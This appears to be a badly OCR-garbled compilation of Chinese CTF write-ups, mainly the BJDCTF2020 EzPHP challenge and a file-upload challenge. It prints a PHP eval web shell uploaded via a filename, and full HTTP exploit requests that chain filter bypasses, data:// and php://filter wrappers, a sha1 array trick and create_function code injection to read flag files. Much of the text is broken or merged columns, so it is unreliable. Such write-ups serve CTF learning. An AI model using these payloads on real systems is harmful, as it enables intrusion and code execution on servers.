print("&KILEE" + str(i) + "f:" + chr(j))
db_name += chr(j)
break
print("¥#E E L N: %s" % db_name)
return db_name
if _name__ =='_main__ "
main()



15 3 5048 E 44 ciscnfinal

KEUT R4 images,users

FRE usersR AT A F B % : usermname,password
#Fusername:admin
iZpassword:2b142bc46f6bcb8f42b4

YR AT

-~/ 7 v w W 115501 D-353 70 -4%d 3-dUso-ved

o E2grn Baaeses @ FFELE SRR O mrEs

Hello, admin!
Filename: 3. | FEEwE,
Submit

BXEARERLT, B (B) B (B) — (W Fp)
K R <7=7>
TR AT AT — i

<?= @eval($_POST]['shell]);?>



KPR N

Go Cancel <|» >|v

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender}

POST /upload.php HTTE/1.1

Host: £4£55dlb-3537-4a73-ad35-0=affa3bléal.nod=4.buucj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x=€4; rv:78.0)
Gecko/Z0100101 Firefox/78.0

Accept:

text/html, application/=html+xml, application/xml;q=0.9, image/webp
SHAFrg=0.8

Accept-Languages :

2h-CM, zh;q=0.8, eh-TW;: =0.7, ch-HK; ¢=0.5,en-U3; q=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

houndary=
=]
Content-Length: 389

Origin:
http://£4£55cd1b-3537-4a73-ad35-0eaffa3iblcal .noded . buuoi.cn: 81
Connection: keesp-alive

Referer:

http://f4£55d1b-3537-4a73-ad35-0eaffa3bléa .noded. buuoi.cn: 81/ us
er.php

Cookis: username=QESFDx4%3D

Upgrade-Insecure-Requests: 1

44277158622807€7915282910020

44277158622807679152829100209
Content-Disposition: form-data; name="file"; filename="<?=
Beval (§_POST['shell']);?>"
Content-Type: application/octet-stream

<?= Beval (§_FOST['shell']);?>
44277158622807679152929100209
Content-Disposition: form-data; name="submit'"

Submit
44277150€22807£79152929100209-—

SR W B -

B HHEERE)
AntSword RE O B
4 == 5117.21.200.166

D B3l (0) < || O3l (1)

=3/ OiE v +LE
=-F war g
=P www
= I cisen
=T www

| logs

Zflag.

s (0117.21.200.166
A #wiE: /flag

fflag

1 flag{8cBBazad-cedd-41a5-aaca-7occfi98foef}

2

16.[BJDCTF2020]EzPHP

5 i8] P YRS R BLGFXEIM3YFZYGQ4A=
base64f# % T R base32f# %15 1nD3x.php.
Ui 18— T3 2 E:

. O

< Rk

HTTF/Ll.1l Z00 OF

Server: openresty

Date: Thu, I3 Sep Z0I1 14:29:00 GMT
Content-Type: text/html
Content-Length: 157

Connection: keep-alive

Vary: Accept—-Encoding
¥-Powered-By: PHP/5.5.9-lubuntu4.Zd

I logged the file name you uploaded to [l.ugsfnpluad.4=4h1’9959hb6e7d24890360023bd2616.luq.php.

# FBxF AHEE ~

upload.4e4b79959bb6e7d24890360023bd2616.log.php

Jvar/www/ cscn/wwwilogs/

=)0

2021-09-23 14:30:47

CSDN @KogRow

i Bt
92b 0644

C5DN @KogRow



<?php
highlight_file(__FILE_);
error_reporting(0);
$file ="1nD3x.php";
$shana = $_GET['shana'];
$passwd =$_GET['passwd'];
Sarg ="
$code =";
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it | will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if ( preg_match('/shanaldebulaqualcute|arg|code|flag|system|exec|passwd|ass|eval|sort|shelljob|start|mail\$|sou[show|cont|high|reverselfli

plrand|scan|chr|local|sess|id|sourcelarralhead|light|read|inclinfo|bin|hex|octlecho|print|pi|\.\"\'[log/i', $_SERVER['QUERY_STRING'])

)

die("You seem to want to do something bad?');

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/*aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] |=="aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!");
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!");

if (file_get_contents($file) !=="debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/Na-z0-9]*$/isD', $code) ||
preg_match('/fillcatjmoreltail[tac|less|head|nl|tailflass|evallsort|shell|oblstartjmail\ M\ %X\&N\S VN \<\'\N'\=\?|sou|show|cont|high|reverselflip|rand]|
scan|chr|local|sess|id|sourcelarralhead|light|printlechol|read|inclflag|1flinfolbin|hex|oct|pilcon|rot|input|\.log|\Vi', $arg) ) {
die("<br />Neeeeee~! | have disabled all dangerous functions! You can't get my flag =w=");
}else {
include "flag.php";
$code(", $arg);
} 7>
This is a very simple challenge and if you solve it | will give you a flag. Good Luck!
fxck you! | hate English!

Bt
S
Zaidpreg_match

ERVER|QUERY TRING |HILEE. BFA_SERVER[‘QUERY_STRING’| AL Xturlgmil it 7 #Emg, BT bliX!

4 | 1 |

%3f%66%69%6C%65%3d %7 3%26%64 %65%62%75%3d%61%7 1%75%6 1%5f%69%7 3%5f%63%75%74 %65



Laidpreg_matchXtaqua_is_cute ILHC K Rl i) i B iX A5 3% Faqua_is_cute. X B %0afiWi:
X RARAG A R, IXFRSRIT

1} D localhost/ezphp.php?file=aphp: X —|—
< (j (3'IocmhosuézphpphpHHEzaphp&deszaquaJsglme%Da

<Tphp
highlight file{__FILE_ _};
if  {'preg_match{’ fhttp|https/i’, $_GET[ £ile’ 121 {
if (preg_match( / agqua i=s cuted/ ., $_GET[ debu’]) && $ GET[debu’'] !'== "agqua is cute’) |
$file = $_GET["file”];
echo “Meeseee! Good Job!<br:”;
}oelsed
echo (" azaaaaazaz’ ) ;

I
b else die( fzck wou! What do wou want to do P17

7> Neeeeee! Good Job!

FEIX T8 7 B M) i poc:

http://a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81/1nD3x.php?file=a&%64%65%62%75=%61%71%75%6 1 %5{%69%7 3%5f%6
3%75%74%65%0a

J
1 else diel fxck you! What do you want to do 9070

if (§_FEQUEST) |
foreach($_REQUEST a=s  Jwalue) |
if(preg match( /la-zA-71/1", Fwalue))
diel fxck you! I hate English!’):

}
}
if (file_get _contents(3file) !== debu_debu_acua’ )
die("houa is the cutest five-year-old child in the world! Isn't it 9<br>™);
if  shal(3shana) === shal(lpasswd) && 3chana '= 3Fpasswd )1
extract (3_GET["flaz”]);
gcho “Very good! wou know my password. But what i1z flag7<br>”;
boelze!
die("fxck wou! vou don’t know my password!  And vou don’t know shal! why vou come  here!”)
}

if(preg match( / [a-z0-9]*3/1isD", $code) ||
preg_match’ /fil|cat |more|tail|tac|less|head|nl [tailf lass |eval |sort |shell |ob |start lmail |5 1% D06 L g [ 0g e 3] e
|sou|show | cont |high|reverse |flip|rand|scan|chr |1ocal |sess|id|source |arra |head |1ight |print |echo |read|ine |flag | 1£]i
die("<br />Neeeeee | 1 have disabled all dangerous functions! Vou can't get my flag =w="):
}oelze
include “flag.php”™:
Feode (", Farg);
P
This is a very simple challenge and if you solve it | will give you a flag. Good Luck!
Neeeeee! Good Job!

fxck you! | hate English! CSDN @KogRow

R A S
B=K



Zait $ REQUEST 3L CF BEILAT

foreach G353 75 $_ REQUEST 4, KR (EMRE Svalue » RS $value BELSE X TR, &R HKK.

B REERINI VL AIEEGETIE RIEX — 54, $ REQUEST [R5 GET fl POST KI%iiE, 3+ H POST A ¥ &mIhLk
5 .

R B php FIBCE SCHERER, FTUAX B R FEFREN POST — AN 7RI geid

13& PA R poc:

POST /1nD3x.php?file=a&%64 %65%62%75=%61%71%75%61%5f%69 %7 3%5f%63%75%74%65%0a HTTP/1.1
Host: a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;0=0.8,zh-TW;=0.7,zh-HK;=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: =17c4b36a37fa-0d253ff8f33dcf8-4¢302372-1fa400-17c4b36a380216
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

=3&file=1



gcoael PATES |

}oe

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

Meeeeee! Good Job!
fxzele you! I hate English!

ELS

RIMT, BANTR, BAEAMITENET:

PRS- P —

Raw | Params | Headers | Hex Raw | Headers | Hex

FOST . HTTE/L.L 200 OK
/ezphp. php?file=ats 645655625 75=561% 715755615 5E4 605735 56563575374 Date: Tus, 05 Oct 2021 03:28:42 GHT

565%0a HTTE/L.1 Server: Apachs/2.4.38 (Vingd) OpenSSL/1.1.1b mod fcgid/2.3.9a mod log_rotate/1.02
Host: 127.0.0.1 ¥-Fowsred-By: FHP/5.2.17

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x&4: rv:78.0) Eeep-Alive: timeout=5, max=100

Gecko/20100101 Firefox/78.0 Connection: Keep-Alive

Aceept: Content-Type: text/html

text/heml, application/xhtml+xml, application/zml; q=0.9, image/vebp Content-Length: 3133

M *3a=0.8

olor: #000000">

Aceept-Language:
zh-CN, zh; =08, zh-TW; q=0.7, zh-HK; q=0. 5, en-U5; q=0.3
Aceept-Encoding: gzip, deflate

<code><span styl

style="color: #007700

) :<br />if&nbsp;(!</span><span styl

<span style="color: #0000BB">&1t;?php<br />highlight file</span><span style="color: #007700">(</span><span style="color: #0000BB">_ FTI
olor: #0000BE">preg match</span><span style="color: #007700">(</span><sp.

Connesction: keep-alive #DDO000"> ' /http |https/i'</span><span style="color: #007700"> &nbsp;</span><span style="color: #0000BE">§_GET</span><span style="color:
Cookie: style=rcolor: #DDOO0O">'file'</span><span style="color: #0077007>]))&nbsp;{<br />&NbSp :&nbsp &nbsp;&nbsp :if&nbsp ;(</span><span style="
UM_distinctid=17cd4b3Ea37fa-00253FEIEI3dACfa-40302372- 1fas00- 1704 #DOO0BE">preg_match</span><span style="color: #0077007>(</span><span style=rcolor: #DDO0007>'/*agua is_cute§/'</span><span style="colo
36a380216] #0077007> &nbsp ;</span><span style="color: #ODODBB">§_GET</span><span style=rcolor: #0077007">[</span><span style="color: #DDOOOD">' debi
Upgrade-Insecure-Requests: 1 #0077007>] ) &nbsp ;&amp ;&amp ;&nbsp ; </ Span><span style="color: $0000BB">§ GET</span><span style="color: #007700%>[</span><span style=rcol
Content-Type: application/x-wyw-form-urlencodsd #DD0000"> ' debu’ </span><span style="color: #007700">]&NbSp;!==&nbsp;</span><span style="color: #DDO000">'aqua is_cute'</span><span styl
Content-Length: 13 #0077007>) &nbsp ; {&nbsp ;<br />&nbsp ;&nbsp ;&nbsp :&nbsp &nbsp ;&nbsp ;&nbsp ;&nbsp ; </ Span><span style="color: #0000BE">$file&nbsp:</spans<sp,

#007700">=&nbsp : </ span><span style

reolor: #0000BB">$_GET</span><span style="eolor: $007700">[</span><span style="eolor: #DDO000D">"fill

debu=34file=1 #0077007>] :&nbsp ;<br />&nbSp ;&nbsp :&nbsp ;&nbsp :&nbSp ;Enbsp (&Nbsp ;&nbsp ; echo&nbsp </ span><span style="color:

#007700">) ;<br />foreach(</span><span styl

#OODOBE">$value</span><span style:

/>&nbsp ;&nbsp ;

nbsp ;&nbsp ;&nbsp ;&nbsp ;&nbsp ;.

style="color: #OODODBE">?&gt;</span>

</span>

#DD0000">"Heeeeee 1&nbSp ; GoodLnbsp ;Tob 161t (hr&gt ;" </ span><span style=rcolor:
/>}&nbsp ;else&nbsp ;die(</span><span style="color: #0D0000">'E: ;you!&nhsp ;
olor: #ODDOBE">$ REQUESTENbsp;</span><span stvl
#ODDDBE">$value</span><span style="color: ¥007700">)E&nbsp;{&nbsp,;<br />&nbsp ;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp &nbsp ;&nbsp ;echo(</span><sp
:olor: H007700">.</span><span style="color:
/>&nbsp ;&nbsp ; knbsp ,;&nbsp ;&nbsp ;&nbsp ; &nbsp ;&nbsp; if(</span><span style="color: ¥0DO0BE">preg match</span><span style="coler: #007700"
#DD0000"> '/ [a-zR-2]1/i' </span><span style="color:
nbsp;&nbsp ;&nbsp &nbsp ;&nbsp ;die(</span><span style="color:

=) ;&nbsp ;<br />&nbsp ;&nbsp ;&nbsp;&nbsp; }<br

#DDO000"> ' £xcknbsp;you!&nbsp; I&nbsp hate&nbsp ;English! ' </span><span style="colo

#OD7700"> ;<br />&nbSp ;&nbsp ;&nbsp ;&nbsp ; J&nbsp ;else{<br />

color

#DDODOO">'\n' </span><span style:

ito&nbsp
: $007700">as&nbsp;</span><span s

"color: $007700">) ;<br

#007700"> ,&nbsp;</span><span style="color: HOOODBE">$value</span><span style="color:

#00770

KRICookieM{E L3 % T, T HCookieRB &I FERK, FrLARXAFE T bypasskEM.

Bt LA Cookie AT LA T

</code>Neeeeee! Good Job!<br>1\n3\n17c4b36a37fa-0d2531FE£33dcf8-4c302372-1Ta400-17c4b36a380216\nfxck you! T hate English!

¥ eoRo
DKogRow

POST /1nD3x.php?file=as&%64%65%62%75=561%71%75%61%5f%609%73%55%63%75%74%65%0a HTTP/ 1.1 "
Hos a48f70cf-35b0-46f6-b2a5-320330f14aé8.noded.buucj.cn: 81 o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =E4; rv:78.0) Gecko/Z01l001l01 Firefox/78.0
Aocepr: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */ *;q=0.8
Agccept-Language: zh-CN, zhyg=0.8, zh-TW;q=0.7, zh-HE; q=0.5,en-US; g=0.3,en; gq=0.2
Adccept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insscure-Requests: 1
Content-Type: application/x-www-form-urlencodsd
Content-Length: 13
debu=3&file=1
.
v
< + = 0 matches

R hbypass

if (preg_match(’ /httplhttps/i’, $_GETL file 1))

if (preg_match(’ / agua_is_cute$/, $_GET debu'l) && $_GETI debu’]

§file = $_CET["file’]

echo “Neeeeee! Good Job!<hr:”™;

T

}
b else die('fzck you! What do you want to do
if (§_REQUEST) |

foreach(§_REQUEST as $valus) |

if (preg_match(’ /la—z4-21/ $value))
die("fxck wyou! I hate English!’);

}
4
if  (file_get contents($file) != ’debu_debu agua’)

die("Aqua is the cutest five—year—old child in the world! Isn't it
if ( shal(§shana) == shal(fpasswd] && $shana $passwd ) {

extract (§_GET  "flag”]

echo Ve good! you lknow my password. But what is
booelsed

die("fzck you! you don't lknow my pas

if (preg_match(’ /" [a—20-9]%§/isD’, $code) ||
preg_match

die("¢br /Neeeeee | I have disabled
}oelse |

include “flag.php”;

$eode’”,  $are):
bow

sword! And you don't know sha

all dangerous functions! You c

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

Neeeeeel Good Job!
Anqua is the cutest five-year-old child in the world! Isn't it ?

[+

SUR-@KogHgyr




EAUPS
X ELAT, 4file=data://text/plain,debu_debu_aqua:

POST /1nD3x.php?file=%64%61%74%61%3a%2{%2f%74%65%78%74%2f%7 0%6c%61%69%6e %2c%64 %65 %62 %7 5%5f%64 %65%62%75
%5f%61%71%75%618%64%65%62%75=%61%71%75%61%5f%69%7 3%5f%63%75%74%65%0a HT TP/1.1
Host: a48f70cf-35b0-466-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozlla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

=3&file=1
HANBIR

bow

This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Meeeeee! Good Jabl

frzck you! you don't know my password! And you don't know shall why you come herel

r -

BHXK

$EhxRshatfiffi, HTFshal() BBTCELESAR, WE shal() WSEA— AL Warning 3R [E False, FrbAR
H $shana FMi$passwd ZAEAMATLL T GX B ALK HdHshana[]=1Mpasswd[]=2#8E FH urlZwm g — T LAMERS T —%) -

POST /1nD3x.php?%73%68%61%6e%61%5b%5d=18&%70%61%73%73%7 7 %64 %5b%5d=2&file=%64%61%74%61%3a%2f%2f%74%65%78
%74%2f%70%6¢%61%69%6€%2Cc%64 %65 %62 %7 5%5f%64 %65%62%75%5f%61%7 1%75%618%64 %65%62%75=%61%71%75%6 1%5f%69
Y%7 3%5f%63%75%74%65%0a HTTP/1.1

Host: a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozlla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

=3&file=1



if (preg_match(’ / [a—z0-91#*$/1sD", $code) ||
preg_match
die("<br [ Heeeeee ! I have disabled all dangerous finctions! You can’'t get my flag =w="):
boelse |
include “flag.php”;
fcode (",  Jarg):
P
This is a very sitnple challenge and if you solve it I will give you a flag. Good Luck!

MNeeeeee! Good Job!
Very good! you lmow oy password. But what 15 flag?

Meeeeee~! [ have disabled all dangerous functions! You can't get my flag =w= _SDN @i DZrow

FINK

XL RE . o o o
X% Rcreate_function () fRIZVEN, SHEHBAKEE
H#E4% tpoc:

POST /1nD3x.php?%66%6¢%61%67 %5b %63 %6f%64 %65%5d=%63%72%65%61 %74 %65 %5f%66 %75 %6€ %6 3 %74 %69%6f%6e & %66 %6c%
61%67 %5b%61%72%67 %5d=%7d%76%61%72%5f%64 %7 5%6d%70%28%67 %65 %7 4 %5F%64 %65 %66 %69 %6 e %65 %64 %5f%76 %6 1%72%
73%28%29%29%3b%2{%2f&%7 3%68%61%6€%61%5b%5d=18&%70%61%73%7 3%7 7 %64 %5b%5d=2&11c=%64%61%74%61%3a%2f%2f%7
4%65%78%74%2f%70%6C%61%69 %6 %2c%64 %65 %62 %7 5%5f%64%65%62%75%5f%61%71%75%61&%64 %65%62%75=%61%71%75%
61%51%69%7 3%5f%63%75%74%65%0a HTTP/1.1

Host: a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

=3&file=1


https://www.gem-love.com/ctf/770.html

SEFRHIGETS S T

Hequest

Raw | Params T Headers I Hex ]
POST request to /1nD3x php
Type | Name | Value | Add
URL flag[code] create_function

URL flag[arg] War_dump(get_defined_vars()):// Remove
URL shana[] 1

URL passw[] 2 L |
URL file data://text/plain,debu_debu_aqua Down
URL debu agua_is_cute ;J
Body debu 3

CS @k ool o

Bﬂdy file 1 L LA A L s VN

array(l) {

[0]=>

string(1) "2"

i

[llargu]=>_

string(32) "}var_dump({get defined vars())://"
["code"]=>

string(15) "create function"

["value"]=>

string(1l) "3"

["EEEfFfFFF11111114ggggyg" ]=>

string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in realfldg.php 23333"
}

L™ e r A
UM A0 Z R OW

PR R AR OA T -
F;hx

X B AT require 51k
X B BRATSENK R ECArequire(base64 _decode(cmVhMWZsNGceucGhw)),var_dump(get_defined_vars());/
Bt CAigE— 25 #y 3 B poctn F

POST /1nD3x.php?%66%6¢%61%67 %5b%63%61%64 %65 %5d=%63%72%65%6 1%7 4 %65%5f%66 %7 5%6€ %63 %7 4 %69 %6f%6e & %66 %6 Cc%

61%67 %5b%61%72%67 %5d=%7d%72%65%71%75%69 %7 2%65%28%62%61%7 3%65%36 %34 %5F%64 %65 %6 3 %6f%64 %65 %28 %6 3 %6d %

56%68%4d%57 %5a%7 3%4e %47 %63%75%63 %47 %68 %7 7 %29%29%3b %76 %61 %7 2%5f%64 %75%6d%7 0%28 %67 %65 %7 4 %5f%64 %65 %6

6%69%6€ %65 %64 %5f%76%61%72%7 3%28%29%29%3b%2f%2f&%7 3%68 %61 %6e %61 %5b%5d=18&%70%61%73%73%7 7 %64 %5b%5d=2 &
=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%7 0%6Cc%61%69%6€%2C%64 %65 %62 %7 5%5f%64 %65%62%75%5f%61%7 1%75%6

18%64%65%62%75=%61%71%75%61%5f%69%7 3%5f%63%75%74%65%0a HT TP/1.1

Host: a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7,zh-HK;=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

=3&file=1



E

i

E

]

CSDMN f’Z'_J}|,UgP,U W

POST request to /1nD3x.php
Type | Name | Value
URL flag[code] create_function
URL flag[arg] Jrequire(base64_decode(cmVhMWZsNGeucGhw)).var_dump(get_defined_vars()).// Re
URL shana(] 1
URL passwd[] 2
URL file data:/ftext/plain,debu_debu_aqua
URL debu aqgua_is_cute
Body debu 3
Body file 1
Zflag:
SLL LIy L) 3
H
["arg"]=>

string(73) "}regquire(base64 decode|cnmVhMWZsHGoucGhw) ) ;var dump(get_defined vars()) HrE

["code"]=>

string(15) "create function"
["value"]=>

string(1l) "3"
["EEEfFfFFF11111114ggggyg" ]=>

string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in realfldg.php 23333"

["fike flag"]=>
string(28) "BID{lam a fake £41111¢23333}"

CS5DMN @KogRow

WA R, XEERFE AT, AHIEW. . .

FINXK

5 )\ SRR HUR G+ P B IR
FEBRESHHEANEE.
X B K8 S A Bpoc BRI A «

<?
//Author: #igrL'Amore
//Blog: www.gem-love.com

$a="php://filter/read=convert.base64-encode/resource=realfldg.php"

$arr1 = explode(' ', $a);

echo "<br>~(";

foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);

}

echo ")<br>";

3 Fpoc:

~(%8f%97 %8f%c5%d0%d0%99 %96 %93 %8b %9a%8d%d0%8d%9a%9e %9b%c2%9¢%90%91 %89 %9a %8d %8b %d1%9d%9e%8c%9a %c9%ch
%d2%9a%91%9¢%90%9b%9a%d0%8d%9a%8¢c %90 %8a%8d%9c%9a%c2%8d%9a%9e%ce %99 %93 %cb %98 %d1%8f%97 %8f)

BAMEXP:



POST /1nD3x.php?%66%6¢%61%67 %5b%63%6f%64 %65 %5d=%63%72%65 %61 %74 %65%5f%66 %7 5%6e %6 3 %7 4 %69 %6f%6e&%66 %6 %
61%67 %5b%61%72%67 %5d=}require(~(%8f%97 %8f%c5%d0%d0 %99 %96 %93 %8b%9a%8d %d0%8d %9a%9e %9b %c2%9c%90%91%89%9a
%8d%8b%d1%9d%9e %8¢ %9a%c9%cb%d2%9a%91%9¢%90%9b%9a%d0%8d%9a%8¢%90%8a%8d %9c%9a%c2%8d%9a%9e%ce%99%93

%cb%98%d1%8f%97 %8f));var_dump(get_defined_vars());/&%73%68%6 1 %6e %6 1%5b%5d=18&%70%61%73%73%77%64%5b%5d=2&file=%
64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6¢ %6 1%69%6€ %2¢ %64 %65 %62 %7 5%5%64%65%62%75%5f%6 1 %7 1%75%6 1&%6
4%65%62%75=%61%71%75%61%5(%69 %7 3%5f%63%75%74%65%0a HTTP/1.1

Host: a48f70cf-35b0-46f6-b2a5-320330f14a68.node4.buuoj.cn:81

User-Agent: Mozlla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html application/xhtmi+xml,application/xml;q=0.9 image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 13

debu=3&file=1

EBEY:

Raw | Params | Headers | Hex

Raw | Headers | Hex

POST 4 Luck!</B><br></font>Neeeeee! Good dob!<br>Very good! you know my password. But what is flag?<
/1nD3x.php?%66%6C%61% 675 5b%63%6T%E4%65% 50=% 635725655615 744 E5%5E% 665 75%Ee%63% 744 E9% 615 6265 665 60X 615673536 [° <heads>
1%72%67%50=) require (~ (s8£%97%BE3c55d0sd0 2%9c590%91 139035 <meta charset="utf-g">

159c%50 158£%97%8F) ) ;va <meta http-sgquiv="X-UA-Compatible” content="TE=sdge">
r_dump (get_defined vars())://&s73%68561%6e%61%5b55d=1a%70%61573573577%64%5b35d=26F11e=%64% 6157456153 a%21% <meta name="viewport” content="width=device-width, initial-scale=l, maximm-scale=l, user-sca
25745655785 745 2£% 705 605 615695623203 64% 655625 755 5TH 643 E5% 625755 515615 71%75% 6165643 655 625 75=3 6157157556135 <title>Flag In Here</titles
£%69573%5£%63%75574%6550a HTTP/1.1 <img sre="meadqua.png” width="£50" height="£50" alt="MNeliqualooo'™ />
Host: a4B8f70cf-35b0-26f6-b2a5-320330£14a68.noded . bunod.cn:sl <!-- The picture is only a picture. —->
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4; rv:78.0) Gecko/20100101 Firefox/78.0 <br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, */ *;q=0.8 </head>
Accept-Language: zh-CN, zh;g=0.8, zh-TW;q=0.7, zh-HK;q=0.5, &n-US; q=0.3, en; q=0.2 </html>
Accept-Encoding: gzip, deflate £1ag00000000000C I INV0Zi0413 41 ZXRhIGhOAHALZXF1aX¥9L
Connection: keep-alive udDOiSUUIZWRNZS I+DQoBLWVOYSBuYWL1P ST2aWV3cGIydCT 1421k CBpbml0O
Upgrade-Insscurs-Requests: 1 lcil SYWJISZT1uby. 96hGFNIELIUIERLcmUh ISESL3RpAGKLE qOKE C 90 ZWE.

Content-Type: application/x-www-form-urlencoded

2hvICL1kghvvIzkvaDlsYXnhLbmib71iLbmidHkuohvvd/vvIHkul3ov4£fnnIvlilDov5nlj6Xor53kuZ/kul3kusPooa
Content-Length: 13 3

T7yBIj ‘nID0gI OMIWE L 304 I

v¥i
["_GET"1=>
array(3) {
["flag"]=>
array(2) {
['code"]=>

string(15) "create function"
['arg']=>
string(106) *}require(~(00000AOIO00DHO00000DO00AO00000KIOOOOMOOONO00000I0" 500) ) svar_dump(
}
["shana"]=>
array(1) {

dshbu=3gfile=1

CSDN @KogRow

base64f#id & 3| A flag:

<html >

<head>

<meta charset="utf-8">

<meta http—equiv="X-UA-Compatible” content="|E=edge"”>

<meta name="viewport” content="width=device-width, initial-scale=1,
<title*Real Flag In Here!l!!l</title>

maximum—scale=1, user—scalable=no">

</head>
</html >
<?php
echo "ok, IREAREIIAT? | FAFHR ) FETAEMBHELTRTlaghk!

$fdke flag = "BJD{1am_a_fake f41111g23333]}";
$real f1114g = "flag{caldcbeB—9cT7a—422b-8123-987efb7ad4d1al ";

unset ($real _f1114g) ; CSDN @EozRow

17.[QWB2021 Quals]popmaster
Z#%pop_masterEIic 3k

18.[CISCN2019 # 1t 3£ [X Day1 Web5]CyberPunk


https://blog.csdn.net/shuaicenglou3032/article/details/120614548
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getid 3k B i —AMile S 4
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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | Render

1 GET /indes. php?file= s 1 HITP/1.1 200 OK
php: //filter/convert. basef4-encods/resource=index. php HITP/1. 1 r 2 Server: opemresty

2 Host: a35b3104-8d6a-44d2-acd7-8056c4797a97. node4. buuoj. en: 81 3 Date: Fri, 24 Sep 2021 06:32:15 GHT

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; x6d; rv:78.0) 4 Content-Type: text/html; charset=UTF-8
Gecko/20100101 Firefox/78.0 Comnection: close

Accept

text/htnl, application/xhtnl+xnl, application/znl;q=0. 9. inage/webp, #/*; q=0
E]

Accept-Language:
2h-CN. zh:q=0. 8, zh-TV:q=0. 7, zh-HE : g=
Accept-Encoding: gzip. deflate
Comnection: close
Upgrade-Insecure-Requests: 1

.5, en-US:gq=0. 3. en:;g=0.2

X-Powered-By: PHP/T7.3.10
Content-Length: 5335

@ o e

PD9waHAKCmluaV9zZX00] 20w IV5E YuF 2 IVRpcics ICevduFyL3d3dy9od6 1sLycpOwokLy8e] 6 ZpbGUePSARX 0dFVF s12nls2S] dOvol 1s_s-wlchpc3N1dt:gkxudwan_mls_deKSA/ICRfR
